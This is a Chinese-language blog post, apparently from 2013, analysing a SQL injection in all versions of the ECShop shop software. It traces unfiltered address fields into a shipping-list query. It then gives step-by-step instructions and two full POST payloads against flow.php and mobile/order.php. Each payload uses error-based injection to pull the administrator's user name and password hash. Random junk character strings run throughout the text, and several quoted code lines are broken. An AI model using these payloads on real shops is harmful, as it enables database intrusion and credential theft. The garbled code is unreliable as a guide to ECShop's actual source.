ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
: F- k- O4 ?/ ?4 Y' P( _6 o" M
+ b$ m3 x, r! S; g    /includes/lib_order.php

    关键函数：
5 x3 P7 \7 d6 }$ S6 a, r3 M
2 A( w8 l, F. p6 H

# m( @3 j8 e& Z- l01     function available_shipping_list($region_id_list)
$ ?9 l; C% r2 p: l: M5 v* q2 C' |( }0 r
. B7 W8 F) {3 k5 k; Z02 {
$ q, G6 E- ]6 x3 A9 v
) Y. }5 m" e. C6 c! D7 h8 K- \03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
; L) m; M5 ^! K7 w) O$ M( x. e4 O
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
2 ?7 }! v7 w5 `; j
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

0 }' |7 i8 p8 |" `# O08             'WHERE r.region_id ' . db_create_in($region_id_list) .
! `- a1 \% T9 X( K
: y/ Q, w  M* X( f0 L8 D09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# J. F# ~6 N: h* @
10   

6 ^6 n) ?' b. ?7 J* I: D/ z' [) n% O11     return $GLOBALS['db']->getAll($sql);

12 }

显然对传入的参数没有任何过滤就带入了查询语句。
/ B' d# |4 s; }3 m& D1 V
: n" n: P- \2 |8 \1 ]. D: V下面我们追踪这个函数在flow.php中：
4 M- R- z1 ^) s% g 第531行：   

! ~1 _; [* D/ ~1 $shipping_list     = available_shipping_list($region);


2 Q2 i5 z8 G; A" J8 b, M8 q
7 n" c/ c$ a8 Q" `

/ g- F% Q) \5 W再对传入变量进行追踪：

第530行：   

$ z6 o7 g, K, k( n# m' d$ [% ~# Z1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

  |: ]* T; x: s" h- V& }' g. \
/ L8 w+ _7 t3 q, T; g% Q( v3 j+ E
/ r$ y1 x" H) J! R

第473行：        
9 c' l' r( }6 s7 a: |
1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

/includes/lib_order.php
) E8 m# K7 {: |4 V( x% a" {
  H3 ^# H  @/ y8 X0 z  L/ H

3 w2 ?0 p1 @& O4 _5 J6 L/ S8 k

  T1 v7 ?/ v+ \( T6 R01 function get_consignee($user_id)
7 G! T* V5 G* G
! E( w+ _* w* D" x02 {
; S1 O1 z3 B+ O+ f' h& c3 e$ Z
03     if (isset($_SESSION['flow_consignee']))

3 {% t  ]" a, N3 Z( _- K04     {
$ P4 `  L7 P* o8 p* Z. V0 [
- a0 ^0 N% D6 a$ i05         /* 如果存在session，则直接返回session中的收货人信息 */

' w6 }( g3 F1 g# P06   

4 a+ ]4 l5 t% I7 k- X- Z07         return $_SESSION['flow_consignee'];

- E$ y. C9 w5 K2 Z08     }
  y9 V8 w0 f% B1 {$ X; X
09     else
0 w* I! \) Y# w
5 Y, ?- {6 I8 Q5 p4 h10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
. D% D  R6 \( }  M" X; P" U6 }
13   

" l8 U- @) J/ K2 n14         if ($user_id > 0)
" t$ n( C" w) O; B  F/ }# `. L$ Z
15         {
( x5 `" v& x3 _& I
3 {1 ?$ [6 j* `* n16             /* 取默认地址 */
; ?) C! a0 H/ N6 a
17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

; n5 {3 v1 R, y% E( i5 {5 ~5 a9 z19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
2 ?! A" P0 I/ E0 ]6 e8 z
% {0 Q* p% P8 \+ y5 D; k1 U20   
: ]# K: ~5 e/ V
21             $arr = $GLOBALS['db']->getRow($sql);
" q& S, S1 @; G2 t
22         }
* S" q$ q/ X* V  B" O0 ?
23   

& A7 B0 Y. s. T4 i24         return $arr;

25     }

! y) d' B; Y1 |26 }

$ }( ?; t* e3 R0 F+ S显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

& l) j" Y& \3 E; k9 N2 r0 Z: ~
( u4 R6 Z8 d' A3 Y1 P& M% L, B
0 o* {' x2 m- g# X" ?关键点:

# N$ [! w' ?3 G' X# e" c" g4 d第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
; j. B# G) U" c0 W8 a8 S8 F
' _. e# y" R6 i& ^; m! z, h  l这里对传入参数反转义存入$_SESSION中。


% {8 a- c7 A0 ^" B5 h) I) Q- F
然后看下：

2 e+ r. h8 |+ N

5 H7 G" s  b3 p$ B* B- u7 A' N   
; Q3 T6 ]$ |9 [$ L) Z/ V
01 $consignee = array(

# R5 O- n+ p- Y1 C' K$ T02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

$ ?- Q: a% M: \" P04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

" o' e0 L5 ?" [$ D' \05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
4 W) r% b' I1 O# }
% g: q* G6 Z) r+ F5 H06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

/ j+ F1 n" _1 O8 b07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

* i# l1 o% V% g  s( K08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
$ p. f* L) \! V- l
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

- w8 F! G- w  i1 P13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

( o0 x4 F) [& y) I6 R# h' r  L* a14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
8 W9 t( `! O" q2 h9 e7 A
  d( `6 D7 X: g9 B- T! Y5 x: B; J# [好了注入就这样出现了。

6 U( y# K" [, D( }! `==================

注入测试：
, \. F$ M6 R0 d' ^
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
9 g! b. B  ?. l7 g
测试程序：ECShop_V2.7.3_UTF8_release1106
% G9 j+ `5 N* |0 f5 ]/ `' u
" T5 V* B. f7 b: m; s
; s7 y8 |4 e2 E  @
8 S9 h/ U9 ^6 Q- g1.首先需要点击一个商品加入购物车

2 I! O# Y- u, \3 J2.注册一个会员帐号

! m6 D+ ^4 Q! R' b/ p# F& `3.post提交数据
2 G6 L, v  d7 E+ ?1 M3 T
( @6 Q+ ^" o, u1 z8 j! _
* |$ n. e; _2 o
1 http://127.0.0.1/ecshop/flow.php
' b! y  i, r: L4 N
8 g5 p0 l' K& }; m2   
: h# t% V  t6 c. j6 ?
0 k; Z8 _( w# u3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) s1 l9 x# G+ t! S举一反三，我们根据这个漏洞我们可以继续深入挖掘：
& `$ b6 q9 n6 E  {1 s6 d8 ~
我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
: w9 a2 F( B1 v2 {* U
利用exp:
7 ~% ]. ]8 k) q9 Y' ^" j
2 t8 N) @- L8 {" c' T! f, p- w) z* ^1.点击一个商品，点击购买商标
8 |3 t. ~1 o8 n! D
* i/ b' T( [% w9 v! X2.登录会员帐号
2 V7 h. Z0 z- z4 \! s6 D) I7 j, e: u
1 ^0 U$ ~# w) T5 {. D6 D4 H3.post提交：
, r8 y0 d7 n# A
/ N( p' t! n, ^, S5 j, Y3 J) @http://127.0.0.1/ecshop/mobile/order.php
4 R8 Q8 q) w* y+ |& B


# U) R4 r7 w5 ]; m' F) M( L3 M6 qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=